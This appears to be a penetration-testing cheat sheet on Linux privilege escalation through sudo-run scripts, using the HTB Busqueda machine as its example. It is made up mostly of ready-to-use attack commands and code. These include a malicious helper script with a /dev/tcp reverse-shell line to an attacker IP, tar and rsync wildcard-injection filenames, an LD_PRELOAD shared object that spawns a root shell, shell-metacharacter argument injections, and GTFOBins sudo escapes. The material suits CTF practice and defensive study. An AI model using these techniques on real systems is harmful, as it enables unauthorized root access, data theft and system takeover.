Script & Sudo Abuse — Privilege Escalation Quick Reference
Complements
linux-privesc.md(binary-level sudo/SUID). This one is about
scripts you can run with sudo — the bugs are in HOW the script calls things.
TL;DR — When sudo -l Shows a Script
sudo -l
# (ALL) NOPASSWD: /usr/bin/python3 /opt/scripts/system-checkup.py *
Read the script FIRST. You are looking for one of these bugs:
| Bug | Pattern in script | Attack |
|---|---|---|
| CWD hijack | runs ./helper.sh or a relative path |
plant a malicious file in the CWD where sudo runs |
| PATH hijack | calls tar, python, ls without absolute path |
plant a malicious binary earlier in PATH |
| Wildcard injection | tar czf x.tar.gz *, chmod 777 *, chown * |
craft filenames that expand into options |
| Arg injection | script passes your input to system()/popen()/subprocess |
inject shell metacharacters |
| LD_PRELOAD | sudo has env_keep+=LD_PRELOAD |
preload a malicious .so |
| Module hijack | python script imports from CWD / writable dir | plant a malicious module |
1. Read the Script — Checklist
# Read every script you can sudo
cat /opt/scripts/system-checkup.py
# Look for:
grep -nE "system\(|popen\(|subprocess|os\.system|exec" script.py # shell calls
grep -nE "\./|\.\./|sh [a-z]|bash [a-z]" script.py # relative paths
grep -nE "import |require|include" script.py # module loads
grep -nE "tar |chmod |chown |rsync |zip " script.py # wildcard candidates
2. CWD Hijack — the Busqueda Pattern (HTB)
The script runs a helper from the current working directory:
# /opt/scripts/system-checkup.py (simplified)
elif action == "full-checkup":
os.system("./full-checkup.sh") # ← runs from YOUR cwd!
# 1. Plant a malicious full-checkup.sh in /tmp
cat > /tmp/full-checkup.sh << 'EOF'
#!/bin/bash
cp /root/root.txt /tmp/rootflag.txt && chmod 644 /tmp/rootflag.txt
# or: bash -i >& /dev/tcp/10.10.14.X/4444 0>&1
EOF
chmod +x /tmp/full-checkup.sh
# 2. Run sudo FROM /tmp — the script picks up YOUR file
cd /tmp
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
# 3. Profit — check /tmp/rootflag.txt or catch the shell
Key insight: sudo doesn't change the CWD — the script's relative
./full-checkup.sh resolves to your directory.
3. PATH Hijack
The script calls a binary by bare name:
os.system("system-checkup.sh docker-ps") # or "tar ...", "python ..."
# Case A: script runs WITHOUT sudo (e.g. via cron / your user) — PATH is yours
echo -e '#!/bin/bash\ncp /root/root.txt /tmp/r.txt; chmod 644 /tmp/r.txt' > /tmp/tar
chmod +x /tmp/tar
PATH=/tmp:$PATH ./script # or trigger the cron
# Case B: script runs WITH sudo — check if secure_path is set
sudo -l # if "secure_path" appears, PATH is locked
grep -r secure_path /etc/sudoers /etc/sudoers.d/ 2>/dev/null
# If secure_path is NOT set, sudo inherits your PATH → same trick works
Note: modern distros set
secure_pathby default, so PATH hijack via sudo
often fails — CWD hijack and wildcard injection are the more reliable bets.
4. Wildcard Injection
The script expands * into filenames, and the filenames become arguments:
tar (GNU) — --checkpoint-action=exec
# Script: tar czf /tmp/backup.tar.gz *
cd /tmp
echo 'cp /root/root.txt /tmp/r.txt; chmod 644 /tmp/r.txt' > shell.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'
tar czf /tmp/backup.tar.gz * # → tar runs shell.sh as the script's user
chown — --reference
# Script: chown root:root *
touch -- '--reference=/etc/shadow' x # copies /etc/shadow's owner to x
rsync / zip / cp
# rsync: -e option injection via filenames
touch -- '-e sh shell.sh' # rsync -e executes a command
# zip: zipnote -b on a crafted zip
5. LD_PRELOAD via sudo (env_keep)
If sudo -l shows env_keep+=LD_PRELOAD (or env_reset is off), preload a .so:
// evil.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}
gcc -fPIC -shared -nostartfiles -o /tmp/evil.so evil.c
sudo LD_PRELOAD=/tmp/evil.so /usr/bin/any-command-you-can-sudo
# → root shell
Check: sudo -l output or grep env_keep /etc/sudoers
6. Python Module / PYTHONPATH Hijack
The sudo'd python script imports modules — if one of them can be shadowed:
# script.py: import requests / import config / from helpers import run
# If the script runs from a writable dir, or PYTHONPATH is honored:
echo 'import os; os.system("/bin/bash")' > /tmp/requests.py
cd /tmp && sudo python3 /opt/scripts/script.py # imports YOUR requests.py
# Or with PYTHONPATH (if not stripped by sudo):
sudo PYTHONPATH=/tmp python3 /opt/scripts/script.py
7. Arg / Action Injection — script passes your input to a shell
# script.py
action = sys.argv[1]
os.system(f"system-checkup.sh {action}") # ← your input reaches the shell
sudo /usr/bin/python3 /opt/scripts/system-checkup.py 'docker-ps; bash'
sudo /usr/bin/python3 /opt/scripts/system-checkup.py "$(cat /root/root.txt > /tmp/r.txt)"
# semicolons, $(), backticks, && all work if the input isn't sanitized
8. GTFOBins — sudo on a BINARY (from linux-privesc.md)
# If sudo -l shows a binary instead of a script — GTFOBins it
# https://gtfobins.github.io
sudo find . -exec /bin/sh \; # find
sudo vim -c '!bash' # vim
sudo less /etc/shadow # less → !bash
sudo awk 'BEGIN {system("/bin/sh")}'
sudo python3 -c 'import os; os.system("/bin/sh")'
sudo env /bin/bash # env
9. Enumeration Checklist (Script-Focused)
sudo -l # #1 always
find / -type f \( -name "*.sh" -o -name "*.py" \) -writable 2>/dev/null
grep -rnE "os\.system|system\(|popen|subprocess" /opt /usr/local/bin 2>/dev/null
grep -rnE "\./|\.\./" /opt /usr/local/bin 2>/dev/null # relative calls
cat /etc/crontab; ls /etc/cron.d/ # cron + PATH/relative
sudo -l | grep -iE "env_keep|secure_path|NOPASSWD" # sudo config
References
- GTFOBins: https://gtfobins.github.io
- HTB Busqueda (Easy, Linux) — CWD hijack on
system-checkup.py full-checkup - PayloadsAllTheThings — Linux Privesc: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md